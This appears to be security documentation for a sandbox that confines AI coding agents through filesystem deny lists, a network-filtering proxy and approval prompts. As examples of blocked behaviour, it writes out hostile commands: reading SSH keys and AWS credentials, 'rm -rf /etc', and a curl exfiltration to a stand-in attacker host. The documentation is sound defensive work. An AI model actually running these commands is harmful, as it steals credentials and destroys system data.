The sandbox uses Linux namespaces via bubblewrap to create an isolated filesystem view:
- Read-only system directories:
/usr,/lib,/binmounted as read-only - Working directory only: Write access restricted to project directory
- Blocked sensitive paths:
~/.ssh- SSH keys~/.aws- AWS credentials~/.config/gcloud- Google Cloud credentials~/.gnupg- GPG keys~/.kube- Kubernetes config~/.docker- Docker credentials/etc/passwd,/etc/shadow- System authentication
All network traffic is routed through a filtering proxy:
- Domain allowlisting: Only approved domains accessible by default
- User approval: New domains require explicit user consent
- Blocklisting: Suspicious domains can be permanently blocked
- Traffic logging: All network requests logged for audit
Every sensitive operation requires approval:
- Granular permissions: Separate permissions for read, write, network, execute
- Time-limited: Permissions expire after 1 hour (configurable)
- Revocable: Users can revoke permissions at any time
- Auto-approval: Safe operations can be pre-approved
✓ Credential Theft
# This will FAIL - access denied
cat ~/.ssh/id_rsa✓ Unauthorized File Access
# This will FAIL - outside working directory
rm -rf /etc✓ Data Exfiltration
# This requires approval
curl https://attacker.com/exfiltrate -d @sensitive.txt✓ Malicious Dependencies
# npm install malicious-package
# - File writes restricted to working directory
# - Network access to approved registries only✗ Resource Exhaustion
- CPU intensive tasks
- Memory bombs
- Disk space filling (within working directory)
- Solution: Implement resource limits (future enhancement)
✗ Time-of-check/Time-of-use Attacks
- Symlink attacks within working directory
- Solution: Careful path validation
✗ Side Channels
- Timing attacks
- Spectre/Meltdown
- Solution: Run in isolated VM for sensitive work
✗ Kernel Exploits
- Privilege escalation via kernel bugs
- Solution: Keep kernel updated, use security modules (SELinux, AppArmor)
- Review Permissions: Always review what the agent is requesting
- Limit Scope: Only approve the minimum necessary permissions
- Check Domains: Verify network requests are to legitimate domains
- Monitor Logs: Review command execution logs regularly
- Use Non-Interactive Mode: More secure than interactive mode
- Validate Inputs: Never trust user input in command construction
- Use Allowlists: Prefer allowlists over blocklists
- Fail Secure: Deny by default, allow explicitly
- Log Everything: Comprehensive logging for security audit
- Update Dependencies: Keep sandbox and dependencies updated
const sandbox = new SandboxManager(process.cwd(), {
// Only allow specific domains
allowedDomains: ['github.com', 'api.openai.com'],
// Block everything else
requireApprovalForNewDomains: true,
// Minimal filesystem access
allowedReadPaths: ['/usr', '/lib', process.cwd()],
allowedWritePaths: [process.cwd()],
// Explicit deny list
deniedPaths: [
'~/.ssh',
'~/.aws',
'~/.config',
'~/.gnupg',
],
});
// No auto-approval - user must approve everything
// sandbox.setAutoApprove([]);const sandbox = new SandboxManager(process.cwd(), {
allowedDomains: [
'github.com',
'*.githubusercontent.com',
'npmjs.com',
'pypi.org',
],
requireApprovalForNewDomains: true,
});
// Auto-approve safe reads
sandbox.setAutoApprove([PermissionType.FILESYSTEM_READ]);const sandbox = new SandboxManager(process.cwd(), {
allowedDomains: ['*'], // Allow all domains
requireApprovalForNewDomains: false,
});
// Auto-approve most operations
sandbox.setAutoApprove([
PermissionType.FILESYSTEM_READ,
PermissionType.FILESYSTEM_WRITE,
PermissionType.PROCESS_SPAWN,
]);- Immediately revoke exposed credentials
- Check logs for unauthorized access
- Rotate all keys that may have been exposed
- Report to security team
- Stop the sandbox immediately
- Review logs to understand what was executed
- Scan working directory for malicious files
- Check network logs for data exfiltration
- Restore from backup if necessary
- Isolate the machine from network
- Preserve evidence (logs, memory dump)
- Notify security team
- Investigate root cause
- Reinstall if necessary
npm test
# Expected results:
# ✓ Blocks access to SSH keys
# ✓ Blocks access to AWS credentials
# ✓ Blocks access to GCloud credentials
# ✓ Blocks access to /etc/passwd
# ✓ Allows access to working directory
# ✓ Network routes through proxy# Test 1: Try to access SSH keys
npm run sandbox -- exec cat ~/.ssh/id_rsa
# Expected: Permission denied
# Test 2: Try to write outside working directory
npm run sandbox -- exec touch /etc/malicious
# Expected: Permission denied
# Test 3: Try to access AWS credentials
npm run sandbox -- exec cat ~/.aws/credentials
# Expected: Permission denied
# Test 4: Test network filtering
npm run sandbox -- exec curl https://suspicious-domain.com
# Expected: Blocked or requires approvalIf you discover a security vulnerability:
- DO NOT open a public issue
- Email security@example.com with:
- Description of the vulnerability
- Steps to reproduce
- Potential impact
- Suggested fix (if any)
- Wait for response before disclosure
- Coordinate disclosure timeline
We aim to respond within 48 hours and fix critical issues within 7 days.
- Resource limits (CPU, memory, disk)
- Advanced network protocol support
- Security audit by external firm
- macOS support with sandbox-exec
- Windows support via WSL2
- Policy engine for auto-approval rules
- Real-time monitoring dashboard
- Anomaly detection
- Integration with SIEM systems
- eBPF-based filtering for zero overhead
- Hardware isolation options (SGX)
- Distributed sandboxing
Security researchers who have contributed:
- (None yet - be the first!)
This security documentation is licensed under CC BY-SA 4.0.